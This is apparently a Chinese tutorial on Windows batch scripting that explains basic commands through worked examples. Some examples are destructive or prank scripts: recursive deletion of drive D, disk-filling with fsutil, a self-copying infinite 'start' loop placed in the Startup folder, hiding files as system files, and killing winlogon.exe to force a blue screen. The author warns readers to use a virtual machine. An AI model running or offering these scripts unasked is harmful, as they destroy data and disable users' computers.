自上而下成批处理每一条命令,知道最后一条!
扩展名:.bat
创建方法:新建一个记事本文件,然后将扩展名改为 .bat
运行.bat 文件:双击
注:修改扩展名时需要将文件的扩展名显示出来后再进行修改!
案例:新建一个记事本文件,然后件扩展名改为.bat,内容如下:
下面这些命令会删除D盘下的所有文件,建议到虚拟机上测试
d:
cd \
cd tmp
del ./s /q
作用:关闭回显功能,也就是屏蔽执行过程,建议放置在批处理的首行。
作用:暂停批处理运行
案例:
@echo off
pause
执行结果如下:
作用: 输出字符串
用法:
(1)echo 需要打印到屏幕的字符串
(2)echo. (表示空行)
作用: 设置字体颜色
用法:
(1)color ? (获取使用方法 )
(2)color 0a(设置字体为绿色 )
作用: 为批处理脚本设置标题
用法:title 标题名称
作用: 清除该行命令的屏幕提示
用法:
可以加在需要清除提示的命令后面,比如:切换分区时: f: >nul 2>nul 有些电脑没有f盘会 报错,提前防备
综合案例::
案例1: 清理垃圾文件
新建一个文本文档改名为:清理系统文件.bat
下面的ping 一直给本地发送测试包,目的是卡时间, -n 10 (卡10s)
- @echo off
- title 清理垃圾文件
- color 0a
- echo ======================================
- echo 是否清空你的垃圾文件?
- echo ======================================
- pause
- echo.
- echo "正在清理中,请稍后..."
- d: >nul 2>nul
- cd \ >nul 2>nul
- cd 垃圾
- rd . /s/q >nul 2>nul
- ping -n 10 127.0.0.1 >nul 2>nul
- echo 垃圾文件清理完成!!!
- pause
执行结果如下:
案例2: 快速生成空文件占满磁盘空间,如果是c盘文件命令执行完成就会非常卡
D盘起始空间
新建一个文本文档改名为:快速生成空文件.bat
- @echo off
- title 快速生成恶意文件
- color 0a
- d:
- cd \
- fsutil file createnew d:\sys.ini 4096000000
- fsutil file createnew d:\sys1.ini 4096000000
- fsutil file createnew d:\sys2.ini 4096000000
- fsutil file createnew d:\sys3.ini 4096000000
- fsutil file createnew d:\sys4.ini 4096000000
- fsutil file createnew d:\sys5.ini 4096000000
- pause
还可以使用 attrib +h +s 文件全名/文件夹名 # 把文件隐藏并提升为被系统保护的文件
执行结果如下:
文件运行之后的磁盘空间
作用: 打开一个东西(链接、文件,.exe 程序之类的,不写就是默认打开cmd)
用法:
start 文件名 # 打开文件
start 链接(www.baid.com之类的) # 打开链接
start # cmd
作用:: 标记一块命令区间,可以和 goto 配合跳转到指定的区域继续执行命令
案例:
@echo off
:a # 标记一块区域
...
goto a # 跳转到a的代码块
pause
作用:这是个变量里面存储“当前用户的家目录路径”
使用:%userprofile% 这样就可以取出里面的值,%% 可以取出变量的值
综合案例:
注意:这个案例会让电脑进入死循环,请在虚拟机上运行,并提前设置好快照,以便回复电脑数据(仅作为学习用,出现任何后果本人不负责),如果没注意在真实电脑上运行了,可以尝试在任务管理器关闭,我没在真实机运行过,能否起效未知,再次提醒,不要在真实机上运行。
新建一个 .bat 文件,内容如下,双击运行或电脑开机时会自动运行
- copy qq.bat "%userprofile%\「开始」菜单\程序\启动"
- :d
- start
- goto d
注意:「开始」菜单\程序\启动 是win xp系统的路径,如果是其他系统请自行寻找
作用:定义变量
使用:
set a=100 # 定义一个变量a为100
set /p a= # 定义一个变量a,-p 等待用户输入
set /p a= 请输入 # 定义一个变量a,-p 等待用户输入
综合案例:飞阁小程序V1.0
- @echo off
- title 飞阁小程序V1.0
- color 0a
- :0
- cls
- echo ============================================
- echo 菜单
- echo 1.定时关机
- echo 2.取消定时
- echo 3.退出
- echo 4.在启动文件夹下,生成张三的信息文件
- echo 5.删除启动文件夹下的张三个人信息
- echo ============================================
-
- set /p num=您的选择:
-
- if "%num%"=="1" goto 1
- if "%num%"=="2" goto 2
- if "%num%"=="3" goto 3
- if "%num%"=="4" goto 4
- if "%num%"=="5" goto 5
-
- echo “%num%”不是有效的选项,请输入菜单选项
- pause
- goto 0
-
- :1
- set /p a=请输入时间(单位/s):
- shutdown -s -f -t %a%
- goto 0
-
- :2
- shutdown -a
- goto 0
-
- :3
- exit
-
- :4
- echo @echo off >> "%userprofile%\「开始」菜单\程序\启动\张三.bat"
- echo color 0a >> "%userprofile%\「开始」菜单\程序\启动\张三.bat"
- echo echo 姓名:张三 >> "%userprofile%\「开始」菜单\程序\启动\张三.bat"
- echo echo 年龄:18>> "%userprofile%\「开始」菜单\程序\启动\张三.bat"
- echo echo 爱好:小黑子,开庭别哭!!! >> "%userprofile%\「开始」菜单\程序\启动\张三.bat"
- echo pause >> "%userprofile%\「开始」菜单\程序\启动\张三.bat"
- echo 文件生成成功!!!
- pause
- goto 0
-
- :5
- del "%userprofile%\「开始」菜单\程序\启动\张三.bat"
- echo 文件删除成功!!!
- pause
- goto 0
执行结果如下:
执行命令4生成的文件 (注意:放到启动目录下的文件开机就会自动执行)
作用:强制杀死指定的进程针对 win2003、xp 比较好用,win7、10 不起作用
案例:ntsd -c q -pn winlogon.exe (winlogon.exe 是win登录的进程,杀死这个进程会导致蓝屏,如果放到启动菜单内会导致开机就蓝屏)
作用:/im 指定杀死某个进程 /f 强制执行
案例:这是一个恶搞的脚本, explorer.exe 是win的桌面进程,杀死这个进程桌面会消失,可以手动启动
- @echo off
- color 0a
- taskkill /im explorer.exe /f >nul 2>nul
-
- echo 傻了吧
-
- ping -n 10 127.1.1.1 >nul 2>nul
-
- start c:windows\explorer.exe
- echo 吓唬你的,是不是尿裤子了!
- pause